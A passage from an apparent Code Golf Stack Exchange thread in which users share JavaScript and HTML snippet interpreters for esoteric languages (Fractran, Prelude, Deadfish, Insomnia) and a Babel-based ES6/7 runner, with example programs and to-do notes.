expression.trim().split(/\s*\*\s*/) var factorisation = {} for (var i = 0; i < expression.length; ++i) { var term = expression[i].trim().split(/\s*\^\s*/) if (term.length > 2) { throw "error" } term[0] = parseInt(term[0]) if (isNaN(term[0])) { throw "error" } if (term.length == 2) { term[1] = parseInt(term[1]) if (isNaN(term[1])) { throw "error" } } if (term[0] <= 1) { continue } var fact_term = factorise(term[0]) if (term.length == 2) { for (var reg in fact_term) { fact_term[reg] *= term[1] } } factorisation = fact_accumulate(factorisation, fact_term) } return factorisation } function to_instruction(n, d) { instruction = [] divisor = 2 while (n > 1 || d > 1) { if (n % divisor == 0 || d % divisor == 0) { reg_offset = 0 while (n % divisor == 0) { reg_offset += 1 n /= divisor } while (d % divisor == 0) { reg_offset -= 1 d /= divisor } if (reg_offset != 0) { instruction.push(Array(divisor, reg_offset)) } } divisor += 1 } return instruction } function run() { clear_output() document.getElementById("run").disabled = true document.getElementById("stop").disabled = false document.getElementById("clear").disabled = true timeout = document.getElementById("timeout").checked var code = document.getElementById("code").value var input = document.getElementById("input").value instructions = [] code = code.trim().split(/[\s,]+/) for (i = 0; i < code.length; ++i){ fraction = code[i] split_fraction = fraction.split("/") if (split_fraction.length != 2){ error(ERROR_PARSE + fraction) return } numerator = parseInt(split_fraction[0]) denominator = parseInt(split_fraction[1]) if (isNaN(numerator) || isNaN(denominator)){ error(ERROR_PARSE + fraction) return } instructions.push(to_instruction(numerator, denominator)) } try { registers = exp_to_fact(input) } catch (err) { error(ERROR_INPUT) return } running = true iterations = 0 start_time = Date.now() fractran_iter(1) } function regs_to_string(regs) { reg_list = Object.keys(regs) reg_list.sort(function(a,b){ return a - b }) out_str = [] for (var i = 0; i < reg_list.length; ++i) { if (regs[reg_list[i]] != 0) { out_str.push(reg_list[i] + "^" + regs[reg_list[i]]) } } out_str = out_str.join(" * ") if (out_str == "") { out_str = "1" } return out_str } function fractran_iter(niters) { if (!running) { stop() return } var iter_start_time = Date.now() for (var i = 0; i < niters; ++i) { program_complete = true for (var instr_ptr = 0; instr_ptr < instructions.length; ++instr_ptr){ instruction = instructions[instr_ptr] perform_instr = true for (var j = 0; j < instruction.length; ++j) { var reg = instruction[j][0] var offset = instruction[j][1] if (registers[reg] == undefined) { registers[reg] = 0 } if (offset < 0 && registers[reg] < -offset) { perform_instr = false break } } if (perform_instr) { for (var j = 0; j < instruction.length; ++j) { var reg = instruction[j][0] var offset = instruction[j][1] registers[reg] += offset } program_complete = false break } } if (program_complete) { document.getElementById("output").value += regs_to_string(registers) stop() return } iterations++ if (timeout && Date.now() - start_time > TIMEOUT_MILLISECS) { error(ERROR_TIMEOUT) return } } setTimeout(function() { fractran_iter(ITERS_PER_SEC * (Date.now() - iter_start_time)/1000) }, 0) } ``` ``` <div style="font-size:12px;font-family:Verdana, Geneva, sans-serif;"> <div style="float:left; width:50%;"> Code: <br> <textarea id="code" rows="4" style="overflow:scroll;overflow-x:hidden;width:90%;">37789/221 905293/11063 1961/533 2279/481 57293/16211 2279/611 53/559 1961/403 53/299 13/53 1/13 6557/262727 6059/284321 67/4307 67/4661 6059/3599 59/83 1/59 14279/871933 131/9701 102037079/8633 14017/673819 7729/10057 128886839/8989 13493/757301 7729/11303 89/131 1/89 31133/2603 542249/19043 2483/22879 561731/20413 2483/23701 581213/20687 2483/24523 587707/21509 2483/24797 137/191 1/137 6215941/579 6730777/965 7232447/1351 7947497/2123 193/227 31373/193 23533/37327 5401639/458 229/233 21449/229 55973/24823 55973/25787 6705901/52961 7145447/55973 251/269 24119/251 72217/27913 283/73903 281/283 293/281 293/28997 293/271 9320827/58307 9831643/75301 293/313 28213/293 103459/32651 347/104807 347/88631 337/347 349/337 349/33919 349/317 12566447/68753 13307053/107143 349/367 33197/349 135199/38419 389/137497 389/119113 389/100729 383/389 397/383 397/39911 397/373 1203/140141 2005/142523 2807/123467 4411/104411 802/94883 397/401 193/397 1227/47477 2045/47959 2863/50851 4499/53743 241/409 1/241 1/239 </textarea> <br>Input: <br> <textarea id="input" rows="2" style="overflow:scroll;overflow-x:hidden;width:90%;">2^47 * 193</textarea> <p> Timeout: <input id="timeout" type="checkbox" checked="true"></input> </p> </div> <div style="float:left; width:50%;"> Output: <br> <textarea id="output" rows="6" style="overflow:scroll;width:90%;"></textarea> <p> <input id="run" type="button" value="Run" onclick="run()"></input> <input id="stop" type="button" value="Stop" onclick="interrupt()" disabled="true"></input> <input id="clear" type="button" value="Clear" onclick="clear_output()"></input> &nbsp; <span id="stderr" style="color:red"></span> </p> </div> </div> ``` The example program above is my [four squares together program](https://codegolf.stackexchange.com/questions/28169/four-squares-together/28346#28346) - it takes input 2n \* 193, and outputs 3a \* 5b \* 7c \* 11d, such that a2 + b2 + c2 + d2 = n. ## To-do * Snippet generator * Allow for factorisation notation for fractions too * Less terrible input validation * Clean up code to be better * Allow for printing of registers under special conditions (e.g. only register `2` is set, in the case of Conway's prime generator). Currently only programs which terminate produce any output. * Performance optimisations? ## Usage * Fractions in the code are split by `[\s,]+`, allowing you to separate fractions by newlines, spaces or commas (or tabs, or even any combination of the above, if you're insane) * Input can be in factorisation notation, e.g. `2^5 * 3^7 * 11` * Snippet generator coming some time later [Answer] # [Prelude](http://esolangs.org/wiki/Prelude) Maybe I can increase Prelude adoption a bit if people can just play around with it in their browsers, so here is a JavaScript interpreter. It's based on [Sp3000's nifty Brainfuck interpreter](https://codegolf.stackexchange.com/a/40091/8478), whose killer feature is interruptible execution and an optional time out. ``` var ITERS_PER_SEC = 100000; var TIMEOUT_MILLISECS = 5000; var ERROR_LOOP_MISMATCH = "Mismatched parentheses"; var ERROR_LOOP_MULTI = "Multiple parentheses in the same column"; var ERROR_TIMEOUT = "Timeout"; var ERROR_INTERRUPT = "Interrupted by user"; var code, input, timeout, num_input, num_output, loop_stack, loop_map; var running, start_time, code_ptr, width, input_ptr, voices, iterations; function clear_output() { document.getElementById("output").value = ""; document.getElementById("stderr").innerHTML = ""; } function stop() { running = false; document.getElementById("run").disabled = false; document.getElementById("stop").disabled = true; document.getElementById("clear").disabled = false; document.getElementById("num_input").disabled = false; document.getElementById("num_output").disabled = false; document.getElementById("timeout").disabled = false; } function interrupt() { error(ERROR_INTERRUPT); } function error(msg) { document.getElementById("stderr").innerHTML = msg; stop(); } function run() { clear_output(); document.getElementById("run").disabled = true; document.getElementById("stop").disabled = false; document.getElementById("clear").disabled = true; document.getElementById("num_input").disabled = false; document.getElementById("num_output").disabled = false; document.getElementById("timeout").disabled = false; code = document.getElementById("code").value; input = document.getElementById("input").value; num_input = document.getElementById("num_input").checked; num_output = document.getElementById("num_output").checked; timeout = document.getElementById("timeout").checked; loop_stack = []; loop_map = {}; if (num_input) { input = input.match(/-?\d+/g).map(function (n) { return +n; }); } else { input = input.split("").map(function (s) { return s.charCodeAt(0); }); } code = code.split("\n"); width = 0; for (var i = 0; i < code.length; ++i) if (code[i].length > width) width = code[i].length; console.log(code); console.log(width); for (var i = 0; i < width; ++i) { var hasParens = false; for (var j = 0; j < code.length; ++j) { var char = code[j][i]; if (char == "(" || char == ")") { if (hasParens) { error(ERROR_LOOP_MULTI); return; } hasParens = true; if (char == "(") loop_stack.push({ x: i, y: j }); else { if (loop_stack.length == 0) { error(ERROR_LOOP_MISMATCH); return; } else { var last_parens = loop_stack.pop(); loop_map[last_parens.x] = { x: i, y: last_parens.y }; loop_map[i] = last_parens; } } } } console.log(i); console.log(loop_stack); } if (loop_stack.length > 0) { error(ERROR_LOOP_MISMATCH); return; } console.log(loop_map); running = true; start_time = Date.now(); code_ptr = 0; input_ptr = 0; voices = code.map(function () { return []; }); iterations = 0; prelude_iter(1); } function prelude_iter(niters) { if (code_ptr >= width || !running) { stop(); return; } console.log(voices); var iter_start_time = Date.now(); for (var i = 0; i < niters; ++i) { var previousTops = voices.map(function(v) { return v[v.length-1] || 0; }); for (var j = 0; j < code.length; ++j) { switch (code[j][code_ptr]) { case "0": case "1": case "2": case "3": case "4": case "5": case "6": case "7": case "8": case "9": voices[j].push(+code[j][code_ptr]); break; case "+": var x = voices[j].pop() || 0; var y = voices[j].pop() || 0; voices[j].push(x + y); break; case "-": var x = voices[j].pop() || 0; var y = voices[j].pop() || 0; voices[j].push(y - x); break; case "v": voices[j].push(previousTops[j == code.length-1 ? 0 : j + 1]); break; case "^": voices[j].push(previousTops[j == 0 ? code.length-1 : j - 1]); break; case "#": voices[j].pop(); break; case "!": var value = voices[j].pop() || 0; document.getElementById("output").value += num_output ? value+"\n" : String.fromCharCode(value); break; case "?": if (input_ptr >= input.length) { voices[j].push(0); } else { voices[j].push(input[input_ptr]); ++input_ptr; } break; } } if (loop_map[code_ptr]) { var other = loop_map[code_ptr]; code_ptr = previousTops[other.y] ? Math.min(code_ptr, other.x) : Math.max(code_ptr, other.x); } ++code_ptr; ++iterations; if (timeout && Date.now() - start_time > TIMEOUT_MILLISECS) { error(ERROR_TIMEOUT); return; } } setTimeout(function () { prelude_iter(ITERS_PER_SEC * (Date.now() - iter_start_time) / 1000) }, 0); } ``` ``` <div style="font-size:12px;font-family:Verdana, Geneva, sans-serif;">Code: <br> <textarea id="code" rows="4" style="overflow:scroll;overflow-x:hidden;width:90%;">1( #^ #^^ (#^+! 6 9+ 05+5+^#^+! #^ ^+! (((1- )#^##)^^+ )7-!)1433545514232323344949145353495314235494040404232323013334492349532333344953493435343584233475234501333449530423232349495323232323495323230494)</textarea> <br>Input: <br> <textarea id="input" rows="2" style="overflow:scroll;overflow-x:hidden;width:90%;">5a-13 11 2e3</textarea> <p>Numeric Input: <input id="num_input" type="checkbox">&nbsp; Numeric Output: <input id="num_output" type="checkbox">&nbsp; Timeout: <input id="timeout" type="checkbox" checked="checked">&nbsp; <br> <br> <input id="run" type="button" value="Run" onclick="run()"> <input id="stop" type="button" value="Stop" onclick="interrupt()" disabled="disabled"> <input id="clear" type="button" value="Clear" onclick="clear_output()">&nbsp; <span id="stderr" style="color:red"></span> </p>Output: <br> <textarea id="output" rows="6" style="overflow:scroll;width:90%;"></textarea> </div> ``` Alternatively, [here is a JSFiddle](https://jsfiddle.net/mbuettner/rLL2c50u/). The interpreter is prepopulated [with my quine](https://codegolf.stackexchange.com/a/47112/8478), but you can easily find more example programs for to play around with [by searching for Prelude answers of mine](https://codegolf.stackexchange.com/search?q=prelude+is%3Aanswer+user%3A8478). All the features of Prelude are implemented. The only shortcoming is the lack of arbitrary-precision arithmetic, due to JavaScript's number type. I might fix that at some point, since I only need to support addition and subtraction for arbitrary integers. Input and output are usually the byte values of individual characters, but the interpreter comes with two flags to read and/or write (signed) numbers instead. ## ToDo * Add minified version for copying. * Support arbitrary precision arithmetic. * Add snippet generator. [Answer] # [Deadfish](http://esolangs.org/wiki/Deadfish) ``` function run() { var code = document.getElementById("code").value var unicode = document.getElementById("unicode").checked var n = 0 var output = "" for (var i = 0; i < code.length; ++i) { switch (code[i]) { case "i": n++ break case "d": n-- break case "s": n *= n break case "o": if (unicode) { output += String.fromCharCode(n) } else { output += n output += "\n" } break default: output += "\n" } if (n == -1 || n == 256) { n = 0 } } document.getElementById('output').value = output } ``` ``` <div style="font-size:12px;font-family:Verdana, Geneva, sans-serif;"> <div style="float:left; width:50%;"> Code:<br> <textarea id="code" rows="8" style="overflow:scroll;overflow-x:hidden;width:90%;" wrap="hard">iiisdsiiiiiiiioiiiiiiiiiiiiiiiiiiiiiiiiioiiiiiiiiiiiiiiiooiiiiiiiiiodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddoddddddddddddddddddddddddsiioiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiioiiiiiiiiioiioddddddddddddoddddodddoiiiiiiiiiiiiiiiiiiiiiiiiodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddodddddddddddddddddddddsdddddodddddodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddodddddddddddddddddddddddsiiiiiiiioiiiiiiiiiiiiiiiiiiiiiioiiiiiiofdddddddddddddddddddddddddddddddddddddddddddddoiiiiiiiiiiiiiiiiiiiiiiiiioiiiiiiiiiiiiiiiooiiiiiiiiiodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddoddddddddddddddddddddddddsiioiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiioiiiiiiiiioiioddddddddddddoddddodddoiiiiiiiiiiiiiiiiiiiiiiiiodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddodddddddddddddddddddddsdddddodddddodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddodddddddddddddddddddddddsiiiiiiiioiiiiiiiiiiiiiiiiiiiiiioiiiiiiofdddddddddddddddddddddddddddddddddddddddddddddoiiiiiiiiiiiiiiiiiiiiiiiiioiiiiiiiiiiiiiiiooiiiiiiiiiodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddoddddddddddddddddddddddddsiioiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiioiiiiiiiiioiioddddddddddddoddddodddoiiiiiiiiiiiiiiiiiiiiiiiiodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddoddddddddddddddddddddddddsiiiioiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiioddddoiiiiiiiiiiiiiiiiioddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddoddddddddddddddddddddddddsiiiioiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiioddddoiiioiioiiioiiiiiiiiiiodddddddddddofddddddddddddddddddddddddddddddddoiiiiiiiiiiiiiiiiiiiiiiiiioiiiiiiiiiiiiiiiooiiiiiiiiiodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddoddddddddddddddddddddddddsiioiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiioiiiiiiiiioiioddddddddddddoddddodddoiiiiiiiiiiiiiiiiiiiiiiiiodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddodddddddddddddddddddddsdddddodddddodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddodddddddddddddddddddddddsiiiiiiiioiiiiiiiiiiiiiiiiiiiiiioiiiiiio</textarea> <p> <input id="unicode" type="checkbox" checked="true" />Use ASCII/Unicode mode </p> </div> <div style="float:left; width:50%;"> Output:<br> <textarea id="output" rows="6" style="overflow:scroll;width:90%;"></textarea> <p> <input id='run' type='button' value='Run' onclick='run()' /> </p> </div> </div> ``` To pre-initialise the code box, just put something in between the textarea tags. Similarly, by adding `checked="true"` in the checkbox tag, you can have ASCII/Unicode mode on by default (as seen above). Note that Deadfish itself doesn't actually have ASCII output in its original spec, I just put it in for questions which may allow "the next closest thing". If you're concerned that a question's rules may not allow Deadfish because of this, you can always look at something like [Deadfish~](http://esolangs.org/wiki/Deadfish~) which does have ASCII output. The example shown is from the [Happy Birthday](https://codegolf.stackexchange.com/a/39820/21487) topic. [Answer] # Deadfish This does not conform strictly to the requirement, it is my vision on how we could make use of Stack Snippets. I don't like the amount of boilerplate, especially the need to include custom HTML for another Run button. In my vision: * place a single `<script>` tag to include a simple framework and the actual interpreter * put the script in the CSS area (syntax highlighting may go horrible) * use the existing Run code snippet button to run the code * get the output in the snippet frame For now not decided how would be nicer to specify the input. ``` iiisdsiiiiiiiioiiiiiiiiiiiiiiiiiiiiiiiiioiiiiiiiiiiiiiiiooiiiiiiiiiodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddoddddddddddddddddddddddddsiioiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiioiiiiiiiiioiioddddddddddddoddddodddoiiiiiiiiiiiiiiiiiiiiiiiiodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddodddddddddddddddddddddsdddddodddddodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddodddddddddddddddddddddddsiiiiiiiioiiiiiiiiiiiiiiiiiiiiiioiiiiiio dddddddddddddddddddddddddddddddddddddddddddddoiiiiiiiiiiiiiiiiiiiiiiiiioiiiiiiiiiiiiiiiooiiiiiiiiiodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddoddddddddddddddddddddddddsiioiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiioiiiiiiiiioiioddddddddddddoddddodddoiiiiiiiiiiiiiiiiiiiiiiiiodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddodddddddddddddddddddddsdddddodddddodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddodddddddddddddddddddddddsiiiiiiiioiiiiiiiiiiiiiiiiiiiiiioiiiiiio dddddddddddddddddddddddddddddddddddddddddddddoiiiiiiiiiiiiiiiiiiiiiiiiioiiiiiiiiiiiiiiiooiiiiiiiiiodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddoddddddddddddddddddddddddsiioiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiioiiiiiiiiioiioddddddddddddoddddodddoiiiiiiiiiiiiiiiiiiiiiiiiodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddoddddddddddddddddddddddddsiiiioiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiioddddoiiiiiiiiiiiiiiiiioddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddoddddddddddddddddddddddddsiiiioiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiioddddoiiioiioiiioiiiiiiiiiiodddddddddddo ddddddddddddddddddddddddddddddddoiiiiiiiiiiiiiiiiiiiiiiiiioiiiiiiiiiiiiiiiooiiiiiiiiiodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddoddddddddddddddddddddddddsiioiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiioiiiiiiiiioiioddddddddddddoddddodddoiiiiiiiiiiiiiiiiiiiiiiiiodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddodddddddddddddddddddddsdddddodddddodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddodddddddddddddddddddddddsiiiiiiiioiiiiiiiiiiiiiiiiiiiiiioiiiiiio ``` ``` <script src="https://bitbucket.org/manatwork/stackcode/raw/681610d0a6face9df62e82c50ec887d66d692e0f/interpret.js#Deadfish"></script> ``` [Answer] # JavaScript ES7 This allows you to run ES6/7 code in any browser. The browsers I am sure this works 100% on are: IE 11, Chrome 46, and Safari 7. This does support array comprehensions (`[for(a in b) c]`) ``` function color(n,e){return~[null,void 0].indexOf(n)?'<div class="out '+e+'"><span style="color: #808080">'+String(n)+"</span></div>":"string"==typeof n?'<div class="out '+e+'"><span class="string">"'+n+'"</span></div>':"number"==typeof n?'<div class="out '+e+'"><span class="number">'+n+"</span></div>":"function"==typeof n?'<div class="out '+e+'"><span style="color: #808080">function</span></div>':"undefined"!=typeof n.length?'<div class="out '+e+'">'+JSON.stringify(n).replace(/(["'])((?:(?=\\*)\\.|.)*?)\1/g,'<span class="string">$1$2$1</span>').replace(/(\d+)/g,'<span class="number">$1</span>')+"</div>":'<div class="out '+e+'">'+JSON.stringify(n,null,2).replace(/(["'])((?:(?=\\*)\\.|.)*?)\1/g,'<span class="string">$1$2$1</span>').replace(/(\d+)/g,'<span class="number">$1</span>').replace(/\n/g,"<br>")+"</div>"}document.getElementById("run").onclick=function(){document.getElementById("Console").innerHTML="";var res="",err=!1;try{res=eval(babel.transform(document.getElementById("code").value).code.split("\n").slice(1).join("\n"))}catch(er){res=er.toString(),err=!0}err?document.getElementById("Console").innerHTML+='<div class="out error"><span>'+res+"</span></div>":document.getElementById("Console").innerHTML+=color(res,"implicit")},function(n,e){window.console={log:function(){n.log.apply(n,arguments),document.getElementById("Console").innerHTML+=color(arguments.length-1?Array.prototype.slice.call(arguments):arguments[0],"")},warn:function(){n.warn.apply(n,arguments),document.getElementById("Console").innerHTML+=color(arguments.length-1?Array.prototype.slice.call(arguments):arguments[0],"warn")},error:function(){n.error.apply(n,arguments),document.getElementById("Console").innerHTML+=color(arguments.length-1?Array.prototype.slice.call(arguments):arguments[0],"error")}},window.alert=console.log}(window.console,window.alert); ``` ``` @import url(http://fonts.googleapis.com/css?family=Open+Sans:400,300,700);@import url(https://fonts.googleapis.com/css?family=Inconsolata);*{font-family:'Open Sans',Arial,sans-serif;font-size:.9rem}.pre,code,pre,pre *{font-family:Inconsolata,monospace}:not(b,bold,strong){font-weight:300}h1,h2,h3,h4,h5,h6{font-weight:600}h1{font-size:1.4rem}h2{font-size:1.38rem}h3{font-size:1.2rem}h4{font-size:1.15rem}h5{font-size:1.11rem}h6{font-size:1.05rem}b,i,p,span{color:#404040}p{line-height:1.3rem}a{color:#605346;text-decoration:none}a:active{color:#523415}a:visited{color:#74513E}hr{border:none;border-top:1px solid #e0d7c1}blockquote{background:#EDE3D3;border-radius:0 .5rem .5rem 0;padding:.5rem .5rem .5rem 4em;margin:.5rem .2rem}code{background:#EBE7DD;border:1px solid #e0d7c1;padding:.3rem .4rem;border-radius:.2rem}.pre,pre{background:rgba(221,221,221,.3);border-radius:.3rem;padding:.5rem;font-size:1.2rem}ol{counter-reset:ol;list-style:none}li{line-height:1.5rem}ol li:before{content:counter(ol) ". ";counter-increment:ol;font-weight:700}table{background:#f2e8d9;border-radius:.75rem;border-collapse:collapse;table-layout:fixed}table.full>tbody{width:100%}thead>tr:first-child>td{border:none;border-bottom:2px solid #e0cbab!important;font-weight:700;z-index:1;text-align:center}td:not(:first-child){border-left:1px solid #eadbc3;z-index:-1}td:only-child{background:#e6dac7;text-align:center;font-weight:600;padding:.25rem;column-span:all}td{padding:.75rem}tr.sub{background:#EDE3D3}input,textarea{border-radius:.5rem;padding:.25rem;border:none;outline:0;transition:box-shadow .3s ease;background-color:#fff!important;margin:.5rem 0}input:focus,textarea:focus{box-shadow:0 0 5px rgba(81,203,238,1)}textarea{resize:vertical}button,input[type=button]{padding:.3rem .5rem;border-radius:.5rem;background-color:#faebd7;cursor:pointer;border:none;border-bottom:1.5px solid #deb887;outline:0}button:active,input[type=button]:active{border:none;border-top:1.5px solid #deb887;color:#000} #Console{background-color:#fff;border-radius:.5rem;padding:0;height:auto!important;overflow:scroll;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;min-height:1rem}.out,.out *{font-size:1.1rem;font-family:Inconsoleta,monospace}.out *{padding-left:.3rem}.out{border-top:1px solid #F0F0F0;border-bottom:1px solid #F0F0F0;padding:.7rem 1rem}.string,.string *{color:#C41927!important}.number{color:#1D00CF}.out.implicit:before{content:"<\00B7 ";color:#888;letter-spacing:-2px}.out.error:before,.out.warn:before{display:inline-block;background-size:1.1rem;content:"";width:1.1rem;height:1.1rem}.out.warn:before{background-image:url(http://vihan.org/p/esfiddle/icons/Warn.png)}.out.error:before{background-image:url(http://vihan.org/p/esfiddle/icons/Error.png)}.out.warn,.out.warn *{color:#AA5909;background-color:}.out.implicit,.out.log{border-color:#F0F0F0;background-color:#FFF}.out.error{border-color:#FFD7D8;background-color:#FFEBEB} body,html{width:100%;height:100%;margin:0}body{background:#F4F3F1;display:-ms-flex;display:-webkit-flex;display:flex;align-items:center;justify-content:center}body>div{background:#EAE8E4;border-radius:.4rem;margin:2rem;padding:1rem;overflow:auto;width:50%;max-height:80%;overflow-x:hidden}label{display:block}.full{width:calc(100% - 1rem);display:inline-block;height:7rem}#input{width:100%}.out.warn { border-color: #FFEFCC; background-color: #FFFAE1; } ``` ``` <div id="demo"><h1>Code</h1><textarea id="code" class="full pre" placeholder="Code here">f=n=>n+1; console.log( f(3) ); console.warn( `Foo` ) console.error( `Bar` ); alert( `Output` ); [ f(1), f(2) ]</textarea><button id="run">Run</button><button onclick="prompt('Link:','http://vihan.org/p/esfiddle?code='+encodeURIComponent(document.getElementById('code').value))">Permalink</button></div><div><h1>Console Output</h1><pre id="Console" class="full"></pre></div><script src="http://babeljs.io/scripts/babel.js"></script> ``` For permalinks, use [ESFiddle](http://vihan.org/p/esfiddle) [Answer] # [Insomnia](http://esolangs.org/wiki/Insomnia) The specs is ambiguous about the semantic of instruction 8 and 9, so they are not implemented. Feel free to improve it to support instruction 0 to 7. There is also some incomplete code to run the program in slow motion, but it was buggy so I remove it from the interface. ``` function toAsciiValue(t) { var i = 0; var a = ""; for (i = 0; i < t.length; i++) { a += t.charCodeAt(i); } return a; } // http://stackoverflow.com/questions/1219860/html-encoding-in-javascript-jquery function escapeHTML(str) { var div = document.createElement('div'); var text = document.createTextNode(str); div.appendChild(text); return div.innerHTML; } var interpreter = (function () { var group; var ip; var gp; var bp; var code; var halted; var tid; var output = ""; function flipbit() { group[gp] = group[gp] ^ (1 << bp); }; var commands = { 0: function () { flipbit(); bp = (bp - 1) & 0x7; }, 1: function () { flipbit(); bp = (bp + 1) & 0x7; }, 2: flipbit, 3: function () { gp++; bp = 7; }, 4: function () { gp--; bp = 7; }, 5: function () { output += ~~group[gp]; }, 6: function () { output += String.fromCharCode(~~group[gp]); }, 7: function () {} }; var nonprint = { "\0": "NUL", "\x01": "SOH", "\x02": "STX", "\x03": "ETX", "\x04": "EOT", "\x05": "ENQ", "\x06": "ACK", "\x07": "BEL", "\x08": "BS", "\x09": "TAB", "\x0a": "LF", "\x0b": "VT", "\x0c": "FF", "\x0d": "CR", "\x0e": "SO", "\x0f": "SI", "\x10": "DLE", "\x11": "DC1", "\x12": "DC2", "\x13": "DC3", "\x14": "DC4", "\x15": "NAK", "\x16": "SYN", "\x17": "ETB", "\x18": "CAN", "\x19": "EM", "\x1a": "SUB", "\x1b": "ESC", "\x1c": "FS", "\x1d": "GS", "\x1e": "RS", "\x1f": "US", "\x7f": "DEL", "\x80": "PAD", "\x81": "HOP", "\x82": "BPH", "\x83": "NBH", "\x84": "IND", "\x85": "NEL", "\x86": "SSA", "\x87": "ESA", "\x88": "HTS", "\x89": "HTJ", "\x8a": "LTS", "\x8b": "PLD", "\x8c": "PLU", "\x8d": "RI", "\x8e": "SS2", "\x8f": "SS3", "\x90": "DCS", "\x91": "PU1", "\x92": "PU2", "\x93": "STS", "\x94": "CCH", "\x95": "MW", "\x96": "SPA", "\x97": "EPA", "\x98": "SOS", "\x99": "SGCI", "\x9a": "SCI", "\x9b": "CSI", "\x9c": "ST", "\x9d": "OSC", "\x9e": "PM", "\x9f": "APC" } function exec(opcode) { var instruction = commands[opcode]; if (typeof instruction === "function") { instruction(); } else { halted = true; alert("Unsupported operation: " + opcode + ". Execution halted."); } } return { init: function (src) { group = []; ip = 0; gp = 0; bp = 7; halted = false; code = toAsciiValue(src); output = ""; tid = void 0; this.update(); }, output: function () { return output; }, update: function () { var dispCode = code + " "; document.getElementById('execcode').innerHTML = dispCode.substring(0, ip) + "<span class='highlight'>" + dispCode[ip] + "</span>" + dispCode.substring(ip + 1); document.getElementById('output').innerHTML = escapeHTML(output).replace(/[\x00-\x1f\x7f-\x9f]/g, function ($0) { return "<span class='non-printable'>" + nonprint[$0] + "</span>"; }); document.getElementById('gp').textContent = gp; document.getElementById('bp').textContent = bp; var dispByte = ("0000000" + (~~group[gp]).toString(2)).substr(-8); document.getElementById('currgr').innerHTML = dispByte.substring(0, 7 - bp) + "<span class='highlight'>" + dispByte[7 - bp] + "</span>" + dispByte.substring(8 - bp); }, step: function () { if (ip >= code.length) { alert("The program has terminated. Reload the program to run from the beginning."); return; } if (halted) { alert("Execution has been halted and cannot be recovered"); return; } exec(code[ip]); if (!halted) { ip++; this.update(); } }, slow: function () { // TODO: Complete this feature. May need to modify run and step. if (typeof tid == "number") { clearTimeout(tid); tid = void 0; } else { (function auto() { if (!halted && ip < code.length) { interpreter.step(); if (!halted) { tid = setTimeout(auto, 200); } } })(); } }, run: function () { if (ip >= code.length) { alert("The program has terminated. Reload the program to run from the beginning."); return; } if (halted) { alert("Execution has been halted and cannot be recovered"); return; } while (ip < code.length) { exec(code[ip]); if (!halted) { ip++; } else { // Break out of the loop and update the UI break; } } this.update(); } } })(); document.addEventListener('DOMContentLoaded', function () { var $ascii = document.getElementById("ascii"); var $workspace = document.getElementById("workspace"); $ascii.textContent = toAsciiValue($workspace.value); $workspace.onkeypress = $workspace.onkeyup = function () { $ascii.textContent = toAsciiValue(this.value); } interpreter.init(''); document.getElementById("load").onclick = function () { interpreter.init($workspace.value); } document.getElementById("run").onclick = function () { interpreter.run(); } document.getElementById("step").onclick = function () { interpreter.step(); } }); ``` ``` body { font-family: 'Franklin Gothic Book', 'Trebuchet MS', 'Arial', sans-serif; } .code { font-family: monospace; word-wrap: break-word; white-space: pre-wrap; } pre.code, textarea.code { width: 100%; } table th { padding: 0 10px; } table .code { width: 100px; text-align: center; } td { border: 1px solid; } .highlight { background: pink; } .non-printable { background: black; color: white; border-radius: 4px; margin: 0 1px; padding: 0 1px; } .box { border: 2px groove; height: 6em; } ``` ``` <h1>Insomnia<sup><a href="http://esolangs.org/wiki/Insomnia">[?]</a></sup></h1> Currently only supports commands 0-7. Semantics of command 8 and 9 (WHILE loop) is not clearly understood, so it is not implemented.<br> This interpreter is greatly inspired by <a href="http://www.quirkster.com/iano/js/">Ian's Befunge-93 interpreter</a>. <h3>Source code</h3> <textarea cols="80" rows="5" id="workspace" class="code"></textarea> <h3>ASCII sequence</h3> <pre id="ascii" class="code"></pre> <input type="button" id="load" value="Load program" /> <hr> 